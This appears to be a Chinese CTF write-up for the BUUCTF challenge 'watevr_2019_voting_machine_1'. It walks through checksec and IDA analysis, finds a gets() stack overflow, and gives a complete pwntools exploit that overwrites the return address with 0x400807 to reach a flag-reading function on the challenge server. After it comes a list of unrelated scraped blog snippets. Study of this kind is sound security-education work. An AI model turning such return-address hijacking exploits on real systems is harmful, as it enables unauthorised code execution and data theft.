PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。
file 查看文件。64 位 ELF 可执行文件。
checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。
IDA 打开文件。查看 main 函数,发现了 gets
危险函数。
双击 v4
,发现了栈溢出大小为 0x2+8=0x10。
尝试寻找 backdoor
函数,发现了 super_secret_fuction
函数,没有 /bin/bash
,但是存在 fopen("/home/ctf/flag.txt","r")
以只读模式打开flag.txt文件。
PWN流程:溢出 v4
,覆盖 super_secret_fuction
函数,让其执行 fopen("/home/ctf/flag.txt","r")
,再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
from pwn import *
r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)
得到 flag。
PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持的更多相关文章
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
- redis成长之路——(七)
扩展性封装 虽说现在StackExchange.Redis免费,万一到时候和servicestack.redis一样要收费呢,所以先留一口,后续的可以再处理 实例代码点击这里查看 redis成长之路- ...
- redis成长之路——(六)
redis配置 为了码农在代码上只关心业务以及代码上的统一性,wenli.drive.redis内部使用配置来完成那些不同的场景,也就是说随便填填配置就能适应不同的场景! 当然配置多了码农也会受不了, ...
随机推荐
- Wordpress设置必须登录才能查看内容
参考文章地址 我是一个不会编程的小白,在网上查了好多篇的文章都没有实现这个功能.都是在改完php的代码后,网站就报废了.后来我还是求助了万能的谷歌,找了这篇文章. 上代码.大概猜测了一下,就是判断你现 ...
- 使用Gradio快速搭建一个网站
使用Gradio快速搭建一个网站. 提到使用gr.Interface创建UI界面,定义输入输出类型,然后通过demo.launch()启动.这应该是最基础的方法.中的示例代码也展示了类似的步骤,安装G ...
- unity判断点是否在长方体内部
using UnityEngine; public class CubeCheck : MonoBehaviour { // 长方体的位置.旋转和尺寸 public Vector3 position ...
- 一名ICer的博客开帖记录
前言 看园子内容已有3-4年之久,虽然对于一名ICer来说,园子内容偏少.但是仍然"咸鱼IC"等一众大佬的优质好文,让我知道这是我未来学习技术的一个好地方.也在我心中埋下了一个未来 ...
- Prisma不能优雅的支持DTO,试试Vona ORM吧
在Nodejs生态中,Prisma是一个非常流行的ORM库,支持Typescript,提供了非常友好的类型推断能力.但是,Prisma却不能优雅的支持DTO.在与其他后端框架整合时,DTO是进行参数验 ...
- axios 的二次封装及使用
1 // 将axios再次封装 2 import axios from 'axios'; // npm i -S axios 3 4 import Qs from 'qs' // npm i -S q ...
- D - Problem D. Game HDU - 6312
Alice and Bob are playing a game. The game is played on a set of positive integers from 1 to n. In o ...
- [笔记]AVL树
AVL树是一种严格平衡的二叉搜索树,任何操作结束后,都能保证每个节点的左右子树高度相差不超过\(1\). 内容源自BV1rt411j7Ff - [AgOHの数据结构]平衡树专题之叁 树旋转与AVL树. ...
- 这个Database Transaction功能多多,你用过吗?
Vona 是一款直观.优雅.强大的 Node.js Web 框架,用于快速开发任何规模的企业级应用.首创 DTO 动态推断与生成能力,从而显著提升开发效率和开发体验.Vona ORM 对数据库事务提供 ...
- claude code使用
白嫖了cursor半年多了,虽然免费的模型能满足日常开发,但是完成一个任务还是需要不停的修修改改,浪费的时间基本上太多了.听说claude code很强大,先试试它了. claude code刚出来的 ...